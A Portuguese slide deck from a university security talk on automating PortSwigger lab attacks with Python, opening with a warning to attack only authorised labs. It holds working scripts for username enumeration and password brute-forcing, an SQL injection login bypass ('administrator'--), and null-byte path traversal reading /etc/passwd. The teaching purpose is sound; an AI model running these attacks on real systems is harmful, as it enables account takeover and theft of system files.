

Olá!

Vamos automatizar ações com Python

(cuidado, trocadilho ao lado >>)



Vamos automatizar ações com Python

(muitas horas de código >>)



Aviso geral

Não conduza ataques não autorizados

Sem terrorismo: certifique-se de formalizar a simulação adversária em sistemas de terceiros. A formalização deve atestar devidamente sua autorização em conduzir esses testes, com um escopo definido.

Utilize laboratórios de testes

Você é o único responsável pelos sistemas em seu próprio laboratório. Portanto é o único que pode autorizar seu uso por terceiros.

Lembre-se também de se autorizar.

O sistema da faculdade não conta como um laboratório!

Recursos



<https://portswigger.net/web-security/all-labs>



[Products](#) ▾ | [Solutions](#) ▾ | [Research](#) | [Academy](#)

[Academy Home](#) | [Learning Path](#) | [Latest Topics](#) ▾ | [All Labs](#) | [Hall of Fame](#) ▾ | [Getting Started Guide](#)

[Web Security Academy](#) » [All labs](#)

All labs

Mystery lab challenge

Try solving a random lab with the title and description hidden. As you'll have no prior knowledge of the type of vulnerability that you need to find and exploit, this is great for practicing recon and analysis before taking your [Burp Suite Certified Practitioner](#) exam.

In some of the labs, you have access to your own account with the credentials `wiener:peter`. If you can enumerate usernames, you may also be able to brute-force the login using the following [username](#) and [password](#) lists.

Level:

Practitioner ▾

Category:

Any ▾

CHALLENGE ME



<https://github.com/julianoborba/saep-unisinos-20-oct-2022>

A screenshot of a GitHub repository page. The repository name is 'julianoborba / saep-unisinos-20-oct-2022' and it is marked as 'Public'. The 'Code' tab is selected, showing options to 'Go to file', 'Add file', and 'Code'. A 'Clone' modal is open, displaying the 'HTTPS' clone URL: 'https://github.com/julianoborba/saep-u'. Below the modal, a file list shows 'Pipfile' (Initial commit), 'Pipfile.lock' (Initial commit), and 'README.md' (Create README.md). The 'README.md' file is selected, showing its content: 'saep-unisinos-20-oct-2022'.

Public

<> Code Issues Pull requests Actions

Go to file Add file Code

Clone

HTTPS SSH GitHub CLI

<https://github.com/julianoborba/saep-u>

Use Git or checkout with SVN using the web URL.

Download ZIP

Pipfile	Initial commit
Pipfile.lock	Initial commit
README.md	Create README.md

README.md

saep-unisinos-20-oct-2022

Ataque!

Enumeração de
usuário, por meio
de respostas
sutilmente
diferentes

Lab: Username enumeration via subtly different responses



PRACTITIONER

This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

- [Candidate usernames](#)
- [Candidate passwords](#)

To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.

Access the lab



Solution



Community solutions



```
found = False
with open(path.join(path.dirname(__file__), 'usernames.txt')) as users:
    for user in users:

        if found:
            found = False
            break

        username_encoded = parse.quote_plus(user.strip())
        data = f'username={username_encoded}&password=super-senha'

        response = session.post(url=url, data=data, allow_redirects=False)

        if 'Invalid username or password.' not in response.text:
            print(f'USERNAME {user.strip()}')
            username = user.strip()
            found = True
```

```
found = False
with open(path.join(path.dirname(__file__), 'passwords.txt')) as passwords:
    for password in passwords:

        if found:
            found = False
            break

        username_encoded = parse.quote_plus(username)
        password_encoded = parse.quote_plus(password.strip())
        data = f'username={username_encoded}&password={password_encoded}'

        response = session.post(url=url, data=data, allow_redirects=False)

        if 'Invalid username or password' not in response.text:
            print(f'USERNAME {username} PASSWORD {password.strip()}')
            found = True
```

Enumeração de usuário, por meio de respostas sutilmente diferentes

A aplicação devolve um pedaço do texto “Invalid username or password” (sem o ponto final), apenas para usuários existentes.

 SIDECHANNEL

**Era uma vez uma enumeração de
usuários**



Ataque!

SQL Injection, que
permite o bypass
do login

Lab: SQL injection vulnerability allowing login bypass

APPRENTICE

This lab contains an **SQL injection** vulnerability in the login function.

To solve the lab, perform an SQL injection attack that logs in to the application as the `administrator` user.

[Access the lab](#)



Solution



Community solutions



```
found = False
with open(path.join(path.dirname(__file__), 'usernames.txt')) as users:
    for payload in users:

        with open(path.join(path.dirname(__file__), 'passwords.txt')) as passwords:
            for password in passwords:

                if found:
                    found = False
                    break

                username_encoded = payload.strip()
                password_encoded = password.strip()
                csrf = 'Wk23EctotdZp40X5D208Pz3K0arRd2D2'
                data = f'csrf={csrf}&username={username_encoded}&password={password_encoded}'
                cookies = {"session": "qS4Q2tJmaIyVb0byh6jJrvqUIL4CFB4B"}

                response = session.post(url=url, data=data, cookies=cookies, allow_redirects=False)

                if response.status_code == 302:
                    print(f'PAYLOAD USERNAME FIELD {payload.strip()} PAYLOAD PASSWORD FIELD {password.strip()}')
                    found = True
```

SQL Injection, que permite o bypass do login

A aplicação concatena parâmetros na query:

```
"SELECT * FROM users WHERE username = '" + username + "' and password = '" + password + "'"
"SELECT * FROM users WHERE username = 'foo' and password = 'bar'"
-----
SELECT * FROM users WHERE username = 'foo' and password = 'bar'
SELECT * FROM users WHERE username = 'administrator'-- and password = 'super-senha'
```

SIDCHANNEL

Há muito tempo, numa web distante,
nascia o SQL Injection



Ataque!

File path
traversal, bypass
na validação da
extensão do
arquivo usando
null byte

Lab: File path traversal, validation of file extension with null byte bypass



PRACTITIONER

This lab contains a **file path traversal** vulnerability in the display of product images.

The application validates that the supplied filename ends with the expected file extension.

To solve the lab, retrieve the contents of the `/etc/passwd` file.

Access the lab



Solution



Community solutions



```
found = False
with open(path.join(path.dirname(__file__), 'payloads.txt')) as payloads:
    for payload in payloads:

        if found:
            found = False
            break

        response = session.get(url=f'{url}{payload.strip()}', allow_redirects=False)

        if 'nobody' in response.text:
            print(f'PAYLOAD {url}{payload.strip()}')
            found = True
```


File path traversal, usando null byte

A aplicação processa qualquer caminho fornecido. Apesar de validar a extensão do arquivo, o servidor entende o null byte como um indicador do fim da string.

 SIDECHANNEL

**Vulnerabilidade de Path Traversal no
SecurEnvoy impacta em execução de**





File path traversal, usando null byte

```
27 # File path traversal, validation of file extension with null byte bypass
28 if __name__ == '__main__':
29     filename = '../../../../../../../../../../../../../../../../../../../../etc/passwd'
30     if filename.endswith('.txt'):
31         with open(path.join(path.dirname(__file__), filename.split('%00')[0])) as lines:
32             for line in lines:
33                 print(line)
34
35 if __name__ == '__main__':
36     Run: main(1) x
37     /home/jfbs/.var/app/com.jetbrains.PyCharm-Community/data/virtualenvs/saep-unisinos-20-oc
38     Process finished with exit code 0
```



File path traversal, usando null byte

```
# File path traversal, validation of file extension with null byte bypass

if __name__ == '__main__':
    filename = '../../../../../../../../../../../../../../../../../etc/passwd.txt'
    if filename.endswith('.txt'):
        with open(path.join(path.dirname(__file__), filename.split('%00')[0])) as lines:
            for line in lines:
                print(line)

__name__ == '__main__'

main(1) x
/home/jfbs/.var/app/com.jetbrains.PyCharm-Community/data/virtualenvs/saep-unisinos-20-oct-2022/
Traceback (most recent call last):
  File "/home/jfbs/Workspace/Bagulhos/saep-unisinos-20-oct-2022/path-traversal-null-byte", line 10, in <module>
    with open(path.join(path.dirname(__file__), filename.split('%00')[0])) as lines:
FileNotFoundError: [Errno 2] No such file or directory: '/home/jfbs/Workspace/Bagulhos/saep-unisinos-20-oct-2022/path-traversal-null-byte'

Process finished with exit code 1
```

simulação!

File path
traversal,
usando null
byte

```
27 # File path traversal, validation of file extension with null byte bypass
28 if __name__ == '__main__':
29     filename = '../../../../../../../../../../../../../../../../../etc/passwd%00.txt'
30     if filename.endswith('.txt'):
31         with open(path.join(path.dirname(__file__), filename.split('%00')[0])) as lines:
32             for line in lines:
33                 print(line)
if __name__ == '__main__':
Run: main (1) x
/home/jfbs/.var/app/com.jetbrains.PyCharm-Community/data/virtualenvs/saep-unisinos-20-oct-
jfbs:x:1000:1000:jfbs:/home/jfbs:/bin/sh
```

Obrigado!